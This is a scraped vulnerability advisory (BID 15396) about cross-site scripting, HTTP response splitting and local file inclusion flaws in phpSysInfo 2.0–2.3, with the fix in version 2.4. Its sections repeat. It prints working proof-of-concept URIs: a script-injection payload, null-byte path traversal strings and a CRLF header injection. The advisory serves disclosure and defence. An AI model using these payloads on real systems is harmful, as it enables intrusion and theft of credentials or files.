PHPSysInfo Multiple Input Validation Vulnerabilities
BID:15396
Info
PHPSysInfo Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 15396 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 11 2005 12:00AM |
| Updated: | Nov 11 2005 12:00AM |
| Credit: | These issues were disclosed in the referenced Hardened-PHP Project advisory. |
| Vulnerable: |
phpSysInfo phpSysInfo 2.3 phpSysInfo phpSysInfo 2.1 phpSysInfo phpSysInfo 2.0 |
| Not Vulnerable: |
phpSysInfo phpSysInfo 2.4 |
Discussion
PHPSysInfo Multiple Input Validation Vulnerabilities
phpSysInfo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
phpSysInfo is prone to cross-site scripting, HTTP response splitting and arbitrary local file inclusion vulnerabilities.
An attacker can exploit these vulnerabilities to steal cookie-based authentication credentials, aid in phishing style attacks and retrieve privileged or sensitive information; other attacks are also possible.
phpSysInfo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
phpSysInfo is prone to cross-site scripting, HTTP response splitting and arbitrary local file inclusion vulnerabilities.
An attacker can exploit these vulnerabilities to steal cookie-based authentication credentials, aid in phishing style attacks and retrieve privileged or sensitive information; other attacks are also possible.
Exploit / POC
PHPSysInfo Multiple Input Validation Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/index.php?VERSION=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00
http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00&lng=../../README%00
http://www.example.com//index.php?sensor_program=lmsensors.inc.php/../../README%00
http://www.example.com/index.php?charset=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Hacked!</html>
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/index.php?VERSION=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00
http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00&lng=../../README%00
http://www.example.com//index.php?sensor_program=lmsensors.inc.php/../../README%00
http://www.example.com/index.php?charset=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Hacked!</html>
Solution / Fix
PHPSysInfo Multiple Input Validation Vulnerabilities
Solution:
The vendor has addressed these issues in version 2.4:
phpSysInfo phpSysInfo 2.0
phpSysInfo phpSysInfo 2.1
phpSysInfo phpSysInfo 2.3
Solution:
The vendor has addressed these issues in version 2.4:
phpSysInfo phpSysInfo 2.0
-
phpSysInfo phpSysInfo-2.4.tar.gz
http://prdownloads.sourceforge.net/phpsysinfo/phpSysInfo-2.4.tar.gz?do wnload
phpSysInfo phpSysInfo 2.1
-
phpSysInfo phpSysInfo-2.4.tar.gz
http://prdownloads.sourceforge.net/phpsysinfo/phpSysInfo-2.4.tar.gz?do wnload
phpSysInfo phpSysInfo 2.3
-
phpSysInfo phpSysInfo-2.4.tar.gz
http://prdownloads.sourceforge.net/phpsysinfo/phpSysInfo-2.4.tar.gz?do wnload
References
PHPSysInfo Multiple Input Validation Vulnerabilities
References:
References:
- Multiple vulnerabilities in phpSysInfo (Hardened-PHP Project)
- phpSysInfo Homepage (phpSysInfo)